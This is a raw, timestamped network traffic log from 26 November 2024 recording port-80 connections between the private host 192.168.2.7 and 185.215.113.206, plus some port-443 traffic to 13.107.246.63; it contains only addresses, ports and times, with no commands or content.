Nov 26, 2024 22:52:22.753007889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.754069090 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.754117012 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.754170895 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.754219055 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.755213022 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.755256891 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.755362988 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.755417109 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.756380081 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.756434917 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.756516933 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.756565094 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.757606983 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.757657051 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.757693052 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.757739067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.758807898 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.758856058 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.758991957 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.759044886 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.760025024 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.760073900 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.760103941 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.760150909 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.761218071 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.761271954 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.761310101 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.761358023 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.762475967 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.762526989 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.762625933 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.762672901 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.763623953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.763695955 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.763724089 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.763767004 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.764882088 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.764933109 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.765007019 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.765054941 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.766005039 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.766057014 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.766172886 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.766222954 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.767179012 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.767231941 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.767318964 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.767366886 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.768376112 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.768429041 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.768467903 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.768515110 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.769649029 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.769702911 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.769764900 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.769813061 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.770751953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.770802021 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.770895004 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.770958900 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.771975040 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.772026062 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.772056103 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.772097111 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.773175955 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.773232937 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.773242950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.773283005 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.774374008 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.774422884 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.774481058 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.774528027 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.775549889 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.775599957 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.775655031 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.775702953 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.776911974 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.776923895 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.776958942 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.776984930 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.815705061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.815773010 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.815869093 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.815917015 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.816147089 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.816193104 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.816234112 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.816277981 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.817383051 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.817430973 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.817467928 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.817504883 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.818617105 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.818672895 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.818712950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.818753958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.819806099 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.819852114 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.820013046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.820058107 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.821017981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.821063995 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.821162939 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.821208000 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.822269917 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.822283983 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.822320938 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.822340965 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.823375940 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.823421955 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.823487997 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.823537111 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.824590921 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.824665070 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.824672937 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.824719906 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.825840950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.825891972 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.825930119 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.825978041 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.826999903 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.827056885 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.827100992 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.827147007 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.828197002 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.828244925 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.828298092 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.828341961 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.829374075 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.829423904 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.829459906 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.829509974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.830548048 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.830596924 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.830682993 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.830730915 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.831798077 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.831849098 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.831928015 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.831974030 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.832952976 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.833025932 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.833062887 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.833101988 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.834206104 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.834250927 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.834254026 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.834292889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.835355043 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.835408926 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.835474968 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.835515976 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.836581945 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.836635113 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.836666107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.836704969 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.837832928 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.837881088 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.837882996 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.837917089 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.858993053 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.859050989 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.859227896 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.859273911 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.859570980 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.859630108 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.859700918 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.859740973 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.860742092 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.860786915 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.860819101 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.860862970 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.861939907 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.861991882 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.862026930 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.862072945 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.863189936 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.863240004 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.863272905 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.863323927 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.864341974 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.864391088 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.864430904 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.864470959 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.865545988 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.865608931 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.865643024 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.865688086 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.957228899 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.957303047 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.957336903 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.957364082 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.957791090 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.957866907 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.957900047 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.957947969 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.959002018 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.959074974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.959132910 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.959197044 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.960241079 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.960306883 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.960613966 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.960671902 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.961402893 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.961467981 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.961524963 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.961574078 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.962606907 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.962660074 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.963007927 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.963062048 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.963799000 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.963850975 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.964061022 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.964109898 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.964999914 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.965049028 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.965106964 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.965156078 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.966190100 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.966244936 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.966339111 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.966387987 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.967401981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.967454910 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.967504978 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.967551947 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.968543053 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.968592882 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.968683004 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.968730927 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.969732046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.969782114 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.969832897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.969882965 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.971048117 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.971103907 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.971205950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.971255064 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.972152948 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.972207069 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.972259045 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.972306967 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.973381042 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.973443031 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.973447084 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.973505974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.974586010 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.974648952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.974648952 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.974693060 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.975778103 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.975847006 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.975878954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.975933075 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.976994991 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.977067947 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.977154970 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.977201939 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.978166103 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.978234053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.978266954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.978313923 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.979377985 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.979428053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.979444981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.979487896 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.980546951 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.980602026 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.980621099 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.980662107 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.981755972 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.981808901 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.981847048 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.981890917 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.982950926 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.983006954 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.983156919 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.983203888 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.984150887 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.984215021 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.984240055 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.984289885 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.985359907 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.985411882 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.985435963 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.985482931 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.986541033 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.986598015 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.986630917 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.986675978 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.987735033 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.987785101 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:22.987798929 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:22.987838030 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.011178970 CET	443	49713	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.011440039 CET	443	49713	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.011523962 CET	49713	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.011565924 CET	49713	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.011565924 CET	49713	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.011589050 CET	443	49713	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.011596918 CET	443	49713	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.014609098 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.014647961 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.014719009 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.014869928 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.014882088 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.025757074 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.025813103 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.025814056 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.025852919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.026110888 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.026161909 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.026223898 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.026272058 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.027261019 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.027311087 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.027384043 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.027431011 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.028461933 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.028510094 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.028568029 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.028610945 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.029676914 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.029731989 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.029767990 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.029813051 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.030860901 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.030913115 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.030941963 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.030991077 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.032062054 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.032113075 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.032258987 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.032310009 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.033257008 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.033304930 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.033370018 CET	80	49712	185.215.113.206	192.168.2.7
